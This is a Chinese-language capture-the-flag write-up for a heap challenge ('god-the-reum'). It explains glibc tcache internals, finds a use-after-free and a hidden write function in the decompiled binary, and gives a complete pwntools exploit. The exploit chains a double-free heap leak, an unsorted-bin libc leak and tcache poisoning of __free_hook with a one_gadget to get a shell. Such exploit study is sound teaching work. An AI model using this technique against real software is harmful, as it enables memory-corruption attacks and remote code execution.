Tcache struct
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
Tcache_get/Tcache-put
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e; //增加到链表头部
++(tcache->counts[tc_idx]); //记录当前 bin 的 chunk数
}
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
tcache_put
用于把一个 chunk
放到 指定的 tcache->entries
里面去, tc_idx
通过 csize2tidx (nb)
计算得到 (nb
是 chunk
的大小)。
它首先把 chunk+2*SIZE_SZ
(就是除去 header
部分) 强制转换成 tcache_entry *
类型,然后插入到 tcache->entries[tc_idx]
的首部,最后把 tcache->counts[tc_idx]
加 1
,表示新增了一个 chunk
到 该 表项。
tcache_get
根据 tc_idx
取出 tcache->entries[tc_idx]
的第一个chunk
, 然后把 指针强制转换为 (void *)
仅仅检查了 tc_idx 并无做更多检查 可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的 check,并没有 fastbin 那么复杂。
tcache_poisoning
通过修改 free 状态的 tcache 里面的 chunk 的 fd (其实就是 tcache_entry->next ) ,可以分配到任意地址
tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size。
一个 tcache bin 中的最大块数mp_.tcache_count
是7
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif
具体知识点参考阅读
https://www.secpulse.com/archives/71958.html
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoning
### 题目分析
case 1u:
v3 = &v5[16 * dword_20202C];
create_size((void **)v3);
break;
case 2u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
save((__int64)v3);
break;
case 3u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
delete_free((__int64)v3);
break;
case 4u:
v3 = v5;
print_all((__int64)v5);
break;
case 5u:
puts("bye da.");
return 0LL;
case 6u:
v3 = &v5[16 * (signed int)sub_11DC(v3)];
developer((__int64)v3);
break;
default:
sub_11B3(v3);
break;
运行对比可以知道
主要有创建、储存、删除、打印、退出、以及隐藏功能 修改地址
creat_size
if ( !s || dword_20202C > 4 )
{
puts("wallet creation failed");
exit(0);
}
memset(s, 0, 0x82uLL);
v1 = (char *)s + strlen((const char *)s);
*(_WORD *)v1 = 30768;
v1[2] = 0;
v2 = time(0LL);
printf("how much initial eth? : ", 0LL);
__isoc99_scanf("%llu", &size);
v3 = size;
v5[1] = (__int64)malloc(size);
if ( v5[1] )
*(_QWORD *)v5[1] = size;
++dword_20202C;
sub_119B(v3);
puts("Creating new wallet succcess !\n");
代码有删减
size可控 主要功能 创建一个size可控的chunk
delete
v3 = __readfsqword(0x28u);
printf("how much you wanna withdraw? : ");
__isoc99_scanf("%llu", &v2);
**(_QWORD **)(a1 + 8) -= v2;
if ( !**(_QWORD **)(a1 + 8) ) //判断是否为0 如果为0则执行free
free(*(void **)(a1 + 8)); //uaf
puts("withdraw ok !\n");
return __readfsqword(0x28u) ^ v3;
这里free以后没有清空指针 导致存在uaf漏洞
print_all
int i; // [rsp+1Ch] [rbp-4h]
sub_119B(a1);
puts("========== My Wallet List =============");
for ( i = 0; i < dword_20202C; ++i )
{
printf("%d) ", (unsigned int)i);
sub_FD5(*(_QWORD *)(16LL * i + a1), *(_QWORD **)(16LL * i + a1 + 8));
}
return putchar(10);
int __fastcall sub_FD5(__int64 a1, _QWORD *a2)
{
return printf("addr : %s, ballance %llu\n", a1, *a2, a1, a2);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
打印所有chunk id 及内容
developer
__int64 __fastcall developer(__int64 a1)
{
sub_119B(a1);
puts("this menu is only for developer");
puts("if you are not developer, please get out");
sleep(1u);
printf("new eth : ");
return __isoc99_scanf("%10s", *(_QWORD *)(a1 + 8)); //修改chunk
}
`
可以修改chunk
思路
存在uaf漏洞 所以要从这里入手
首先给定libc 2.27 存在了tcache所以leak方式需要改变
1、how to leak
首次执行double free后 打印会泄漏出heap地址
exp
create(0x100)
create(0x110) #多加一个chunk可以防止top chunk回收
delete(0,0x100)
delete(0,0) #double free leak heap_base
prints()
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
调式结果
python exp.py
[*] how much you wanna withdraw? :
[*] withdraw ok !
====== Ethereum wallet service ========
1. Create new wallet
2. Deposit eth
3. Withdraw eth
4. Show all wallets
5. exit
select your choice :
0x564a72bee2f0
利用gdb查看当前heap地址
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x564a718e1000 0x564a718e3000 r-xp 2000 0 /home/ios/god-the-reum
0x564a71ae2000 0x564a71ae3000 r--p 1000 1000 /home/ios/god-the-reum
0x564a71ae3000 0x564a71ae4000 rw-p 1000 2000 /home/ios/god-the-reum
0x564a72bee000 0x564a72c0f000 rw-p 21000 0 [heap]
0x7f92acc4d000 0x7f92ace34000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f92ace34000 0x7f92ad034000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
因为leak了一次heap地址填充了1次tcache 所以再次填充6次即可填满tcache 之后free掉的chunk会进入unsorted bin 接着利用print_all 打印出当前bin的fd 即可leak main_arena从而得到libc_base
这里需要掌握的知识
how to leak libc
unsort bin是双向链表,如果只有一个chunk fd和bk都是main_arena+偏移。如果是多个就按照双向链表链起来(头和尾都是main_arena+偏移)
需要利用uaf+print配合
填充满tcache后查看当前heap
pwndbg> heap
0x563b2fd6b000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x700000000000000,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x563b2fd6b250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 145,
fd = 0x3461373737367830,
bk = 0x3463613331616535,
fd_nextsize = 0x3630333238336564,
bk_nextsize = 0x3139613439306631
}
0x563b2fd6b2e0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x7ffab2fc9ca0 <main_arena+96>,
bk = 0x7ffab2fc9ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到该chunk fd bk都指向main_arena+96
可以利用 p main_arena查看当前main_arena_addr
d0 <main_arena+1680>...},
binmap = {0, 0, 0, 0},
next = 0x7ffab2fc9c40 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
可以得到main_arena
利用vmmap 查看当前加载libc基地址
0x563b2fd6b000 0x563b2fd8c000 rw-p 21000 0 [heap]
0x7ffab2bde000 0x7ffab2dc5000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
由于程序多次执行 导致地址发生变化== 此处计算offfset为同一进程
pwndbg> p/x 0x7ffab2fc9c40-0x7ffab2bde000
$2 = 0x3ebc40
pwndbg>
0x7ffab2bde000 这个地址就是libc的实际加载地址,它和main_arena的偏移是固定的
加载地址会变但是这个偏移是不会变的,这样可以获取到远程的libc的加载地址
所以得到main_arena地址就可以计算libc_base了
leak libc
for i in range(6):
delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset
这里减96时因为main_arena地址在这个位置
0x563b2fd6b2e0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 273,
fd = 0x7ffab2fc9ca0 <main_arena+96>,
bk = 0x7ffab2fc9ca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
因为offset = main_arena-libc_addr
所以libc_base = main_arena-offset
one_gadget
这里有个不明白的地方,在使用one_gadget时查找libc-2.28.so会直接报错 所以这里使用的libc-2.27.so进行做题的~~
ios@Sec:~$ one_gadget /lib/x86_64-linux-gnu/libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ios@Sec:~$
exp编写
有了libc base 就可以直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。创建一个不大于0x408的chunk,free掉后即可进入tcache,可以修改tcache的fd为free_hook的地址,进行两次分配后,即可分配到free_hook的地址,再次使用developer的隐藏功能直接把free_hook改成onegadget即可getshell
exp
from pwn import *
p = process('./god-the-reum')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
def create(idx):
log.info(p.recvuntil('select your choice :'))
p.sendline('1')
log.info(p.recvuntil('how much initial eth? :'))
p.sendline(str(idx))
def delete(idx,c):
log.info(p.recvuntil('select your choice :'))
p.sendline('3')
log.info(p.recvuntil('input wallet no :'))
p.sendline(str(idx))
log.info(p.recvuntil('how much you wanna withdraw? :'))
p.sendline(str(c))
def prints():
log.info(p.recvuntil('select your choice :'))
p.sendline('4')
def dev(idx,c):
log.info(p.recvuntil('select your choice :'))
p.sendline('6')
log.info(p.recvuntil('input wallet no :'))
p.sendline(str(idx))
log.info(p.recvuntil('new eth :'))
p.sendline(str(c))
create(0x100)#0
create(0x110) #1//防止合并
delete(0,0x100)#free 0 all
delete(0,0) #满足free条件后 double free
prints() #leak heap
p.recvuntil('ballance ')
heap_addr = int(p.recvuntil('\n').strip())
print hex(heap_addr)
#gdb.attach(p)
#填满 tcache 7 上方以填入一次 所以这里填充6次即可
for i in range(6):
delete(0,heap_addr)
prints()
p.recvuntil('ballance ')
offset = 0x3ebc40
libc_base = int(p.recvuntil('\n').strip())-96-offset
#print hex(main_arena)
gdb.attach(p)
#gdb.attach(p)
free_hook = libc_base+libc.sym['__free_hook']
print hex(free_hook)
delete(1,0x110)
dev(1,p64(free_hook))
create(0x110)
create(0x110)
one_gadget=libc_base+0x4f322
dev(3,p64(one_gadget))
delete(2,0x110)
p.interactive()
run
4. Show all wallets
5. exit
select your choice :
[*] input wallet no :
[*] how much you wanna withdraw? :
[*] Switching to interactive mode
$ ls
1.py Documents exp.py Music pwntools
core Downloads god-the-reum Pictures Templates
Desktop examples.desktop god-the-reum.nam PublicVideos
$